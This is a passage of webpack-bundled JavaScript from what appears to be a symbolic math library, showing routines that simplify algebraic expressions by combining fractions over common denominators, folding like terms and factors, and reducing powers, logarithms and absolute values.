listNodeIDs(n1);\n var a2 = listNodeIDs(n2);\n var nids = a1.filter(function(i) {\n return a2.indexOf(i) < 0;\n });\n var args = [];\n nids.forEach(function (nid) {\n args.push(ast.node(nid));\n });\n if (args.length === 1) {\n return args[0];\n } else {\n return newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA, args);\n }\n }\n\n function isPolynomialDenominatorWithNegativeTerm(node) {\n return node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n isMinusOne(node.args[1]) &&\n node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD &&\n variables(node.args[0]).length > 0 &&\n node.args[0].args.some(function (n) {\n // Limit the complexity allowed.\n return isNeg(options, constantPart(n));\n });\n }\n\n function commonDenom(node) {\n if (node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD) {\n // Not additive so create and add node so we can have the following code\n // collect denom factors into a single node.\n node = newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD, [node]);\n }\n // 1/2+2/3\n // ((1/2)(2*3)+(2/3)(2*3))/6\n // (3+4)/6\n // 7/6\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node && node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD);\n var n0 = node.args;\n if (!isChemCore()) {\n // Make common denominator.\n // Get denominators.\n var denoms = [];\n var deg = 0;\n n0.forEach(function (n1) {\n // Add current node's denominator to the list.\n denoms = denom(n1, denoms);\n denoms.forEach(function (n) {\n // This is a kind of adhoc complexity check. If one of the\n // denominator is of higher degree than 2 then don't find\n // common denominator.\n var d = degree(n);\n deg = d > deg && d || deg;\n });\n });\n if (denoms.length > 1 && deg < 3 ||\n (denoms.length === 1 && !isMinusOne(denoms[0]) && !isOne(denoms[0]))) {\n // We have a non-trivial common denominator.\n let hasMinusOne = false;\n let denomsNew = [];\n denoms.forEach(denom => {\n if (isMinusOne(denom)) {\n hasMinusOne = !hasMinusOne;\n } else if (!isOne(denom)) {\n denomsNew.push(denom);\n }\n });\n var denominator = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [multiplyNode(denomsNew, true), nodeMinusOne]);\n var numers = [];\n // For each term get the numerator based on the common denominator.\n n0.forEach(function (n1) {\n var d, n;\n // 2/x+3/y -> (2y+3x)/(xy)\n // .5x+.2y -> (2x+5y)/10\n d = denom(n1, []);\n n = numer(n1, d[0], denoms);\n numers = numers.concat(n);\n });\n let numersNew = [];\n numers.forEach(numer => {\n if (isMinusOne(numer)) {\n hasMinusOne = !hasMinusOne;\n } else if (!isOne(numer)) {\n numersNew.push(numer);\n }\n });\n // Now add the numerator and multiply it by the denominator.\n if (numers.length > 0) {\n n0 = binaryNode(node.op, numers);\n var mv;\n if ((mv = mathValue(options, n0))) {\n n0 = numberNode(options, mv);\n }\n node = multiplyNode([n0, denominator]);\n } else {\n node = denominator;\n }\n if (hasMinusOne) {\n node = negate(node);\n }\n } else {\n // Just return the original node.\n }\n }\n return node;\n }\n function numer(n, d, denoms) {\n // Denominators are in positive power form.\n // n = node to get numerator of.\n // d = denominator of current node.\n // denoms = all common denominators.\n // n/d/denoms\n denoms = denoms.slice(0); // Copy\n var ff = factors(options, n, {}, true, true);\n var hasNumer = false;\n var n0, nn = [];\n let hasMinusOne = false;\n ff.forEach(function (n) {\n if (isMinusOne(n)) {\n hasMinusOne = !hasMinusOne;\n } else if (n.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW || !isNeg(options, mathValue(options, n.args[1], true))) {\n // Is a numerator.\n nn.push(n);\n }\n });\n if (hasMinusOne) {\n if (nn.length === 0) {\n nn.unshift(nodeMinusOne);\n } else {\n nn.unshift(negate(nn.shift()));\n }\n }\n if (nn.length === 0 || nn.length === 1 && isOne(nn[0])) {\n // If no numerator or numerator of one, then use an empty array\n // that gets concat'd away. This happens when there are no factors\n // with a non-negative exponent.\n n0 = [];\n } else {\n n0 = [multiplyNode(nn)];\n }\n // See if the common denominator has an expression that matches\n // the current terms denominator. If so remove it from the list.\n var nid0 = d ? ast.intern(d) : 0; // If no denom then use 0 as nid.\n var index = -1;\n denoms.some(function (n, i) {\n var nid1 = ast.intern(n);\n if (nid0 === nid1) {\n index = i;\n return true;\n }\n return false\n });\n if (index > -1) {\n // Remove element that is in the numerator's denominator.\n denoms.splice(index, 1);\n }\n // Multiply top common denominator. Simplify to cancel factors.\n if (n0.length !== 0 || denoms.length !== 0) {\n let args = sortFactors(n0.concat(denoms));\n return multiplyNode(args, true);\n }\n return nodeOne; // Otherwise everthing degenerates to 1.\n }\n function denom(n, denoms) {\n // If the current node has a different denominator as those in denoms,\n // then add it. Denominators are in positive power form.\n var ff = factors(options, n, {}, true, true);\n var hasDenom = false;\n var d0, dd = [];\n ff.forEach(function (n) {\n d0 = n.args[0];\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && !isOne(n.args[0])) {\n // If denominator is 1 then skip it.\n if (isMinusOne(n.args[1])) {\n if (dd.length === 0) {\n dd.unshift(nodeMinusOne);\n } else {\n dd.unshift(negate(dd.shift(dd)));\n }\n } else if (isNeg(options, mathValue(options, n.args[1], true))) {\n dd.push(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [d0, simplify(options, negate(n.args[1]), env)]));\n }\n }\n });\n if (dd.length === 0) {\n // If no new denominators, then return original set.\n return denoms;\n } else {\n d0 = multiplyNode(dd);\n }\n // Add to denoms if not already there.\n if (denoms.every(function (d) {\n return ast.intern(d) !== ast.intern(d0);\n })) {\n denoms.push(d0);\n }\n return denoms;\n }\n var simplifiedNodes = [];\n // var simplifyLevel = 0;\n function simplify(options, root, env, resume) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root && root.args, \"2000: Internal error.\");\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(root.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL || root.args.length > 1, \"2000: Internal error.\");\n var nid = ast.intern(root);\n if (root.simplifyNid === nid) {\n return root;\n }\n // if (simplifyLevel === 0) {\n // console.log(\"simplify() nid=\" + nid + \" node: \" + JSON.stringify(root, null, 2));\n // }\n // simplifyLevel++;\n var node = _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].create(options, visit(options, root, {\n name: \"simplify\",\n numeric: function (node) {\n return node;\n },\n additive: function (node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node && node.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB,\n \"2000: simplify(options, ) additive node not normalized: \" + JSON.stringify(node));\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM) {\n return node;\n }\n var isMixedNumber = node.isMixedNumber;\n node = cancelTerms(node);\n if (!env || !env.dontGroup) {\n node = groupLikes(node);\n }\n if (!isAdditive(node)) {\n // Have a new kind of node so start over.\n return node;\n }\n // Simplify kids.\n var args = [];\n node.args.forEach(function (n, i) {\n args = args.concat(simplify(options, n, env));\n });\n node = binaryNode(node.op, args);\n node.isMixedNumber = isMixedNumber;\n if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM) {\n return node;\n } else if (node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].BACKSLASH ||\n node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ADD &&\n node.args.length === 2 &&\n node.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL &&\n node.args[0].args.length === 2 &&\n node.args[0].args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM &&\n node.args[0].args[0].args[0] === \"-1\" &&\n node.args[0].args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA &&\n node.args[1].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COMMA) {\n return diffSets(node.args[0], node.args[1]);\n }\n // Make denominators common.\n if (!option(options, \"dontFactorDenominators\") || !isMixedNumber && mathValue(options, node, true)) {\n // It's a numeric expression so simplify it anyway.\n node = commonDenom(node);\n }\n if (!isAdditive(node)) {\n // Have a new kind of node so start over.\n return node;\n }\n // Now fold other terms\n var args = node.args.slice(0); // Make a copy.\n var n0 = [simplify(options, args.shift(), env)];\n // For each next value, pop last value and fold it with next value.\n args.forEach(function (n1, i) {\n n1 = simplify(options, n1, env);\n n0 = n0.concat(fold(n0.pop(), n1));\n });\n if (n0.length < 2) {\n node = n0[0];\n } else {\n node = binaryNode(node.op, n0);\n }\n node.isMixedNumber = isMixedNumber;\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node.args.length > 0, \"2000: Internal error.\");\n return node;\n function fold(lnode, rnode) {\n var ldegr = degree(lnode);\n var rdegr = degree(rnode);\n var lcoeff = constantPart(lnode);\n var rcoeff = constantPart(rnode);\n if (isZero(lcoeff)) {\n return rnode;\n }\n if (isZero(rcoeff)) {\n return lnode;\n }\n if (ldegr === rdegr) {\n // Have two terms of the same degree.\n var lvpart = variablePart(lnode);\n var rvpart = variablePart(rnode);\n // Combine terms with like factors.\n if (lvpart !== null && rvpart !== null &&\n ast.intern(lvpart) === ast.intern(rvpart)) {\n var c = addNode([lcoeff, rcoeff]);\n var cmv = mathValue(options, c);\n if (isZero(cmv)) {\n return nodeZero;\n } else if (isOne(cmv)) {\n return lvpart;\n }\n return multiplyNode([c, lvpart]);\n } else if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG && rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG &&\n (ast.intern(lnode.args[0]) === ast.intern(rnode.args[0]))) {\n return simplify(options, newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [lnode.args[0], multiplyNode([lnode.args[1], rnode.args[1]])]), env);\n } else if (ldegr === 0 && rdegr === 0) {\n // Have two constants.\n var mv1 = mathValue(options, lnode, true);\n var mv2 = mathValue(options, rnode, true);\n if (isInteger(mv1) && isInteger(mv2)) {\n return numberNode(options, mv1.plus(mv2));\n } else if (ast.intern(lnode) === ast.intern(rnode)) {\n return multiplyNode([nodeTwo, lnode]);\n } else if ((!env || !env.dontGroup) && !option(options, \"dontFactorTerms\") && commonFactors(options, lnode, rnode).length > 0) {\n return [factorTerms(lnode, rnode)];\n } else {\n return [lnode, rnode];\n }\n } else if (ldegr === 2 && rdegr === 2 &&\n isOne(lcoeff) && isOne(rcoeff) &&\n (lnode.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN &&\n rnode.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS ||\n lnode.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS &&\n rnode.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN) &&\n ast.intern(lnode.args[0].args[0]) === ast.intern(rnode.args[0].args[0])) {\n // Special case: sin^2(x)+cos^2(x)\n return nodeOne;\n } else if (ldegr === 2 && rdegr === 2 &&\n isOne(lcoeff) && isOne(rcoeff) &&\n (lnode.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN &&\n rnode.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS ||\n lnode.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COS &&\n rnode.args[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SIN) &&\n ast.intern(lnode.args[0].args[0]) === ast.intern(rnode.args[0].args[0])) {\n // Special case: sin^2(x)+cos^2(x)\n return nodeOne;\n }\n }\n if (ast.intern(lnode) === ast.intern(rnode)) {\n return multiplyNode([nodeTwo, lnode]);\n } else if (isZero(mathValue(options, lcoeff))) {\n return rnode;\n } else if (isZero(mathValue(options, rcoeff))) {\n return lnode;\n } else if (!option(options, \"dontFactorTerms\") && !isOne(mathValue(options, lcoeff)) && !isOne(mathValue(options, rcoeff))) {\n if (commonFactors(options, lnode, rnode).length > 0) {\n var node = [factorTerms(lnode, rnode)];\n return node;\n }\n }\n return [lnode, rnode];\n }\n },\n multiplicative: function (node) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(node && node.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL, \"2000: simplify() multiplicative node not normalized: \" + JSON.stringify(node));\n node = cancelFactors(options, node);\n if (!env || !env.dontGroup) {\n node = groupLikes(node);\n }\n if (!isMultiplicative(node)) {\n // Have a new kind of node start over.\n return node;\n }\n var nid = ast.intern(node);\n var args = node.args.slice(0);\n var n0 = [simplify(options, args.shift(), env)];\n if (n0[0].op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n // Flatten.\n n0 = n0[0].args.slice(0);\n }\n // For each next value, pop last value and fold it with next value.\n args.forEach(function (n1, i) {\n n1 = simplify(options, n1, env);\n n0 = n0.concat(fold(n0.pop(), n1));\n });\n if (n0.length < 2) {\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(n0.length, \"2000: Internal error.\");\n node = n0[0];\n } else {\n node = sort(multiplyNode(n0, true));\n }\n return node;\n function fold(lnode, rnode) {\n var ldegr = degree(lnode);\n var rdegr = degree(rnode);\n var lvars = variables(lnode);\n var rvars = variables(rnode);\n var lvpart = variablePart(lnode);\n var rvpart = variablePart(rnode);\n var lcoeff = constantPart(lnode);\n var rcoeff = constantPart(rnode);\n var lcoeffmv = mathValue(options, lcoeff, true);\n var rcoeffmv = mathValue(options, rcoeff, true);\n var lmv, rmv;\n if (ldegr === 0 && isZero(lcoeffmv) && !isUndefined(rnode) ||\n rdegr === 0 && isZero(rcoeffmv) && !isUndefined(lnode)) {\n if (units(lnode).length || units(rnode).length) {\n // Don't erase units.\n return [lnode, rnode];\n } else {\n return nodeZero;\n }\n } if (isInteger(lmv = mathValue(options, lnode)) && isInteger(rmv = mathValue(options, rnode))) {\n return numberNode(options, lmv.times(rmv));\n } else if (ldegr === 0 && isOne(lcoeffmv)) {\n return rnode;\n } else if (rdegr === 0 && isOne(rcoeffmv)) {\n return lnode;\n } else if (isInfinity(lnode)) {\n if (isNeg(options, rnode)) {\n return negate(lnode);\n } else {\n return lnode;\n }\n } else if (isInfinity(rnode)) {\n if (isNeg(options, lnode)) {\n return negate(rnode);\n } else {\n return rnode;\n }\n } else if (ldegr === 0 && rdegr === 0) {\n if (isOne(rcoeffmv) && isOne(lcoeffmv)) {\n // Have two constants that have the math value of one.\n return nodeOne;\n } else if (isImaginary(lnode) && isImaginary(rnode)) {\n return nodeMinusOne;\n }\n var lexpo = exponent(lnode);\n var rexpo = exponent(rnode);\n var lbase = base(lnode);\n var rbase = base(rnode);\n if (lbase !== null && rbase !== null &&\n Math.abs(lexpo) === 1 && Math.abs(rexpo) === 1) {\n if (lexpo === rexpo) {\n // 2^3*3^3, combine bases\n if (isMinusOne(lbase) || isMinusOne(rbase)) {\n node = [lnode, rnode];\n } else {\n node = multiplyNode([numberNode(options, lbase), numberNode(options, rbase)], true); // Flatten because numberNode creates mul nodes for negatives.\n if ((mv = mathValue(options, node))) {\n node = numberNode(options, mv);\n }\n if (lexpo === -1) {\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [node, nodeMinusOne]);\n }\n }\n } else {\n // We've got a fraction to simplify.\n var mv;\n if (isZero(lnode)) {\n node = nodeZero;\n } else if ((mv = mathValue(options, multiplyNode([lnode, rnode])))) {\n node = numberNode(options, mv);\n } else {\n var lbaseN = toNumber(lbase);\n var rbaseN = toNumber(rbase);\n var d = gcd(lbaseN, rbaseN);\n if (d === (d | 0)) {\n // Have integer GCD.\n lbase = divide(lbase, toDecimal(d));\n rbase = divide(rbase, toDecimal(d));\n }\n if (lexpo < 0 && isOne(lbase)) {\n node = numberNode(options, rbase);\n } else if (rexpo < 0 && isOne(rbase)) {\n node = numberNode(options, lbase);\n } else {\n var n = lexpo === 1 ? lbase : rbase;\n var d = lexpo === 1 ? rbase : lbase;\n if (isOne(n)) {\n // If the numerator is 1, erase it.\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [numberNode(options, d), nodeMinusOne]);\n } else {\n var q = divide(n, d);\n if (isInteger(q)) {\n // Got an integer, use it.\n node = numberNode(options, q);\n } else {\n // Otherwise, make a new simplified fraction.\n if (isNeg(options, n) && isNeg(options, d)) {\n n = n.times(toDecimal(\"-1\"));\n d = d.times(toDecimal(\"-1\"));\n }\n node = [\n numberNode(options, n),\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [numberNode(options, d), nodeMinusOne])\n ];\n }\n }\n }\n }\n }\n } else if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n ast.intern(lnode.args[1]) === ast.intern(rnode.args[1])) {\n // x^z*y^z -> (x*y)^z\n var lbase = lnode.args[0];\n var rbase = rnode.args[0];\n var lexpo = exponent(lnode);\n var rexpo = exponent(rnode);\n if (lexpo === 0.5 &&\n ast.intern(lbase) === ast.intern(rbase)) {\n // Found square of square roots, so simplify.\n node = lbase;\n } else if (lexpo !== -1 && !isMinusOne(lbase) && !isMinusOne(rbase)) {\n // FIXME simplifying \"1/cos{1.03}\" causes infinite recursion. So avoid for now.\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [simplify(options, multiplyNode([lbase, rbase])), lnode.args[1]]);\n } else {\n node = [lnode, rnode];\n }\n } else {\n node = [lnode, rnode];\n }\n } else if (lvpart && rvpart && ast.intern(lvpart) === ast.intern(rvpart)) {\n // One or both nodes contain var.\n var lnode =\n isOne(lcoeff) && rcoeff ||\n isOne(rcoeff) && lcoeff ||\n multiplyNode([lcoeff, rcoeff]);\n if (lvpart.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n // FIXME if lvpart (and therefore rvpart) base is additive and\n // expos are the same, then multiply out bases\n Object(_assert_js__WEBPACK_IMPORTED_MODULE_0__[\"assert\"])(lvpart.args.length === 2 && rvpart.args.length === 2, \"2000: Exponents of exponents not handled here.\");\n var lexpo = lvpart.args[1];\n var rexpo = rvpart.args[1];\n var rnode = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n lvpart.args[0],\n addNode([lexpo, rexpo])\n ]);\n } else {\n var rnode = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [lvpart, nodeTwo]);\n }\n if (isZero(mathValue(options, lnode))) {\n node = [];\n } else if (isOne(mathValue(options, lnode))) {\n node = rnode;\n } else {\n node = [lnode, rnode];\n }\n } else if (ast.intern(lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW ? lnode.args[0] : lnode) ===\n ast.intern(rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW ? rnode.args[0] : rnode)) {\n // Same base, different exponents.\n var b, el, er;\n if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n b = lnode.args[0];\n } else {\n b = lnode;\n }\n if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n el = lnode.args[1];\n } else {\n el = nodeOne;\n }\n if (rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n er = rnode.args[1];\n } else {\n er = nodeOne;\n }\n var e = simplify(options, addNode([el, er]), env);\n if (isZero(e)) {\n // x^0 = 1\n node = nodeOne;\n } else if (isOne(e)) {\n // x^1 = x\n node = b;\n } else {\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [b, e]);\n }\n } else if (ldegr === 0 && isOne(lcoeffmv)) {\n return rnode;\n } else if (rdegr === 0 && isOne(rcoeffmv)) {\n return lnode;\n } else if (ldegr === 0) {\n if (sign(lnode) < 0 && isPolynomialDenominatorWithNegativeTerm(rnode)) {\n // If lnode is negative and rnode is a polynomial denominator, then invert.\n return [negate(lnode), expand(options, negate(rnode))];\n }\n var v = mathValue(options, lnode);\n if (v !== null) {\n node = [numberNode(options, v), rnode];\n } else {\n node = [lnode, rnode];\n }\n } else if (rdegr === 0) {\n var v = mathValue(options, rnode);\n if (v !== null) {\n node = [numberNode(options, v), lnode]; // Coeffs first.\n } else {\n node = [lnode, rnode];\n }\n } else if (option(options, \"dontExpandPowers\") &&\n lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW &&\n ast.intern(lnode.args[1]) === ast.intern(rnode.args[1])) {\n // x^z*y^z -> (xy)^z\n var lbase = lnode.args[0];\n var rbase = rnode.args[0];\n var args = [];\n if (lbase.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n // Flatten nested multiplication.\n args = args.concat(lbase.args);\n } else {\n args.push(lbase);\n }\n if (rbase.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n // Flatten nested multiplication.\n args = args.concat(rbase.args);\n } else {\n args.push(rbase);\n }\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [simplify(options, multiplyNode(args)), lnode.args[1]]);\n } else {\n node = [lnode, rnode];\n }\n if (lnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM || rnode.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM) {\n if (node instanceof Array) {\n node = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM, node);\n } else {\n node = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM, [node]);\n }\n }\n return node;\n }\n },\n unary: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(simplify(options, n, env));\n });\n node = newNode(node.op, args);\n switch (node.op) {\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SUB:\n // Remove unary SUBs\n node = negate(node.args[0]);\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS:\n var arg = simplify(options, node.args[0]);\n var cp = constantPart(arg);\n var vp = variablePart(arg);\n var ep;\n if (vp && vp.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW && vp.args.length === 2) {\n ep = vp.args[1];\n vp = vp.args[0];\n }\n if (vp && sign(vp) < 0) {\n // If the variable part has a negative sign, then invert it.\n // Make sure we simplify before continuing to avoid thrashing.\n vp = unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS, [simplify(options, expand(options, negate(vp)))]);\n } else {\n vp = vp ? unaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].ABS, [vp]) : nodeOne;\n }\n if (ep) {\n vp = binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [vp, ep]);\n }\n\n if (isOne(cp) || isMinusOne(cp)) {\n node = vp;\n } else if (isNeg(options, cp)) {\n // If the expression is negative, move inverse of constant part\n // outside of the \\abs.\n node = multiplyNode([\n // Make sure we simplify before continuing to avoid thrashing.\n simplify(options, expand(options, negate(cp))),\n vp,\n ]);\n } else {\n // If positive, move constant part outside of the \\abs.\n node = multiplyNode([\n cp,\n vp,\n ]);\n }\n // Otherwise already positive.\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].M:\n var mv = mathValue(options, node);\n if (mv !== null) {\n node = numberNode(options, mv);\n }\n // Otherwise, don't simplify.\n break;\n case _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].PM:\n default:\n node = unaryNode(node.op, args);\n }\n return node;\n },\n exponential: function (node) {\n var base = node.args[0];\n // Make a copy of and reverse args to work from right to left.\n var nid = ast.intern(node);\n var args = node.args.slice(0).reverse();\n var n0 = [simplify(options, args.shift(), env)];\n // For each next value, pop last value and fold it with next value.\n args.forEach(function (n1, i) {\n n1 = simplify(options, n1, env);\n n0 = n0.concat(fold(node.op, n0.pop(), n1));\n });\n if (n0.length === 1) {\n var n = n0[0];\n if (n.op !== _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].NUM || isInteger(n) ||\n isInfinity(n) ||\n isUndefined(n)) {\n // If the result is not a number or is a whole number, then return it.\n node = n;\n } // Otherwise return the orginal expression.\n } else {\n if (isInfinity(n0[1]) && isNeg(options, n0[0])) {\n return nodeZero;\n }\n node = binaryNode(node.op, n0.reverse());\n }\n return node;\n function fold(op, expo, base) {\n var mv, node;\n var bmv = mathValue(options, base);\n var emv = mathValue(options, expo, {}, true);\n if (op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n if (isZero(bmv)) {\n // 0^x\n if (isNeg(options, emv)) {\n return [undefinedNode(newNode(op, [base, expo]))];\n } else {\n return [nodeZero];\n }\n } else if (isZero(emv)) {\n // x^0\n return [nodeOne]\n } else if (isOne(bmv)) {\n // 1^x\n return [nodeOne];\n } else if (isOne(emv)) {\n // x^1\n return [base];\n } else if (isImaginary(base) && emv !== null) {\n if (emv.modulo(bigFour).comparedTo(bigZero) === 0) {\n return [nodeOne];\n } else if (emv.modulo(bigTwo).comparedTo(bigZero) === 0) {\n return [nodeMinusOne];\n } else if (emv.modulo(bigThree).comparedTo(bigZero) === 0) {\n return [negate(nodeImaginary)];\n } else if (emv.modulo(bigFive).comparedTo(bigZero) === 0) {\n return [nodeImaginary];\n }\n return [expo, base];\n } else if (base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n // Flatten nested exponents.\n return binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [base.args[0], multiplyNode(sortFactors([base.args[1], expo]))]);\n } else if (isMinusOne(base) && isOddFraction(expo)) {\n // Move the minus outside of the power unless its {-1}^{-1} which is a\n // synthetic idiom for negative coefficients.\n // Odd integers qualify as odd fractions. Key is that numerator\n // and denominator are both odd.\n if (isMinusOne(expo)) {\n return nodeMinusOne;\n } else {\n return multiplyNode([nodeMinusOne, binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, sortFactors([negate(base), expo]))]);\n }\n } else if (!option(options, \"dontExpandPowers\") && base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].MUL) {\n // Expand factors.\n var args = [];\n let hasMinusOne = false;\n base.args.forEach(function (n) {\n if (n.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW) {\n // Flatten.\n args.push(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [n.args[0], multiplyNode(sortFactors([n.args[1], expo]))]));\n } else if (isMinusOne(n) && isMinusOne(expo)) {\n hasMinusOne = !hasMinusOne;\n } else {\n args.push(binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [n, expo]));\n }\n });\n if (hasMinusOne) {\n if (args.length === 0) {\n args.push(nodeMinusOne);\n } else {\n args.unshift(negate(args.shift()));\n }\n }\n return multiplyNode(args, true);\n } else if (bmv !== null && emv !== null && !isNeg(options, bmv)) {\n // 2^3, 16^(-1*1^-2)\n var b = pow(bmv, emv)\n base = numberNode(options, b);\n return base;\n } else if (expo.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG &&\n ast.intern(base) === ast.intern(expo.args[0])) {\n return expo.args[1];\n } else if (base.op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].SINH && ast.intern(expo) === ast.intern(nodeTwo)) {\n // sinh^2 = cosh^2 - 1\n return addNode([binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [newNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].COSH, base.args), nodeTwo]), nodeMinusOne]);\n } else {\n var b = pow(bmv, emv);\n if (b !== null) {\n return numberNode(options, b);\n }\n }\n } else if (op === _model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG) {\n if (emv !== null && isE(base)) {\n var mv = toDecimal(Math.log(toNumber(emv)));\n if (isInteger(mv)) {\n return numberNode(options, mv);\n }\n } else if (ast.intern(base) === ast.intern(expo)) {\n return nodeOne;\n } else if (!option(options, \"dontExpandPowers\") && !isE(base)) {\n // If LOG and not base e, then normalize to base e.\n // var base = node.args[0];\n // var expo = node.args[1];\n return multiplyNode([\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [nodeE, expo]),\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].POW, [\n binaryNode(_model_js__WEBPACK_IMPORTED_MODULE_2__[\"Model\"].LOG, [nodeE, base]),\n nodeMinusOne\n ])\n ]);\n }\n }\n // x^2, x^y\n return [expo, base];\n }\n },\n variable: function(node) {\n return node;\n },\n comma: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(simplify(options, n, env));\n });\n return newNode(node.op, args);\n },\n equals: function(node) {\n var args = [];\n node.args.forEach(function (n) {\n args = args.concat(simplify(options, n, env));\n });\n 